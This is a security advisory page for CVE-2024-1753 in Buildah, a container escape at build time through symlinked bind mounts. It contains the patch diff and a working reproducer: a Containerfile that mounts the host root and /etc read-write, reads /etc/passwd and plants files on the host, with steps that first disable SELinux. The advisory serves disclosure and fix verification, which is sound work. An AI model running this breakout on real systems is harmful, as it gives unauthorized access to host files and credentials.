Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1wbWYzLWMzNm0tZzVjZs4AA6JC
Container escape at build time
Impact
What kind of vulnerability is it? Who is impacted?
Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
Patches
From @nalind
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
"errors"
+ "github.com/containers/buildah/copier"
"github.com/containers/buildah/define"
"github.com/containers/buildah/internal"
internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
// buildkit parity: support absolute path for sources from current build context
if contextDir != "" {
// path should be /contextDir/specified path
- newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+ evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+ if err != nil {
+ return newMount, "", err
+ }
+ newMount.Source = evaluated
} else {
// looks like its coming from `build run --mount=type=bind` allow using absolute path
// error out if no source is set
Reproducer
Prior to testing, as root, add a memorable username to /etc/passwd
via adduser or your favorite editor. Also create a memorably named file in /
. Suggest: touch /SHOULDNTSEETHIS.txt
and adduser SHOULDNTSEETHIS
. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
# cat ~/cve_Containerfile
FROM alpine as base
RUN ln -s / /rootdir
RUN ln -s /etc /etc2
FROM alpine
RUN echo "ls container root"
RUN ls -l /
RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit
RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
To Test
Testing with an older version of Buildah with the issue
setenforce 0
buildah build -f ~/cve_Containerfile .
As part of the printout from the build, you should be able to see the contents of the /' and
/etcdirectories, including the
/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the
/etc/passwdfile which will include the
SHOULDNOTSEETHISuser that you created. In addition, the file
/BIND_BREAKOUTand
/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .
Neither the /BIND_BREAKEOUT
or /etc/BIND_BREAKOUT2
files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd
file, and nothing will be displayed from that file.
However, the files in both the /
and /etc
directories on the host system will be displayed.
Testing with the patch
Use the same commands as testing with an older version of Buildah.
When running using the patched version of Buildah, regardless of the setenforce
settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT
and the /etc/BIND_BREAKOUT
will not exist on the host after the test completes.
NOTE: With the fix, the contents of the /
and /etc
directories, and the /etc/passwd
file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT
and /etc/BIND_BREAKOUT
files will be created in the container image.
Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the /
directory can be displayed. I.e., ls -alF /
will show the contents of the host directory.
References
Unknown.
Permalink: https://github.com/advisories/GHSA-pmf3-c36m-g5cfJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbWYzLWMzNm0tZzVjZs4AA6JC
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 9 months ago
Updated: 8 months ago
Identifiers: GHSA-pmf3-c36m-g5cf
References:
- https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf
- https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5
- https://github.com/containers/buildah/commit/3deda19137f5dec0285bbb832bd93c22d860b087
- https://github.com/containers/buildah/commit/a030f7b8cd373075affef1f86de43a87e502f3d8
- https://bugzilla.redhat.com/show_bug.cgi?id=2265513
- https://nvd.nist.gov/vuln/detail/CVE-2024-1753
- https://github.com/advisories/GHSA-pmf3-c36m-g5cf
Blast Radius: 0.0
Affected Packages
go:github.com/containers/buildah
Dependent packages: 260Dependent repositories: 321
Downloads:
Affected Version Ranges: >= 1.32.0, < 1.32.3, >= 1.30.0, < 1.31.5, >= 1.28.0, < 1.29.3, >= 1.24.0, < 1.24.7, >= 1.25.0, < 1.27.4, >= 1.33.0, < 1.33.7, >= 1.34.0, < 1.34.3, >= 1.35.0, < 1.35.1
Fixed in: 1.32.3, 1.31.5, 1.29.3, 1.24.7, 1.27.4, 1.33.7, 1.34.3, 1.35.1
All affected versions: 1.24.0, 1.24.1, 1.24.2, 1.24.3, 1.24.4, 1.24.5, 1.24.6, 1.25.0, 1.25.1, 1.26.0, 1.26.1, 1.26.2, 1.26.3, 1.26.4, 1.26.5, 1.26.6, 1.26.7, 1.27.0, 1.27.1, 1.27.2, 1.27.3, 1.28.0, 1.28.1, 1.28.2, 1.29.0, 1.29.1, 1.29.2, 1.30.0, 1.31.0, 1.31.1, 1.31.2, 1.31.3, 1.31.4, 1.32.0, 1.32.1, 1.32.2, 1.33.0, 1.33.1, 1.33.2, 1.33.3, 1.33.4, 1.33.5, 1.33.6, 1.34.0, 1.34.1, 1.34.2, 1.35.0
All unaffected versions: 0.16.0, 1.7.1, 1.7.2, 1.7.3, 1.8.0, 1.8.1, 1.8.2, 1.8.3, 1.8.4, 1.9.0, 1.9.1, 1.9.2, 1.10.0, 1.10.1, 1.11.0, 1.11.1, 1.11.2, 1.11.3, 1.11.4, 1.11.5, 1.11.6, 1.11.7, 1.12.0, 1.13.0, 1.13.1, 1.13.2, 1.14.0, 1.14.1, 1.14.2, 1.14.3, 1.14.4, 1.14.5, 1.14.6, 1.14.7, 1.14.8, 1.14.9, 1.14.10, 1.14.11, 1.15.0, 1.15.1, 1.15.2, 1.16.0, 1.16.1, 1.16.2, 1.16.3, 1.16.4, 1.16.5, 1.16.6, 1.16.7, 1.16.8, 1.17.0, 1.17.1, 1.17.2, 1.18.0, 1.19.0, 1.19.1, 1.19.2, 1.19.3, 1.19.4, 1.19.6, 1.19.7, 1.19.8, 1.19.9, 1.19.10, 1.19.11, 1.20.0, 1.20.1, 1.20.2, 1.21.0, 1.21.1, 1.21.2, 1.21.3, 1.21.4, 1.21.5, 1.22.0, 1.22.1, 1.22.2, 1.22.3, 1.22.4, 1.22.5, 1.23.0, 1.23.1, 1.23.2, 1.23.3, 1.23.4, 1.23.5, 1.24.7, 1.27.4, 1.29.3, 1.29.4, 1.31.5, 1.32.3, 1.33.7, 1.33.8, 1.33.10, 1.34.3, 1.35.1, 1.35.2, 1.35.3, 1.35.4, 1.36.0, 1.37.0, 1.37.1, 1.37.2, 1.37.3, 1.37.4, 1.37.5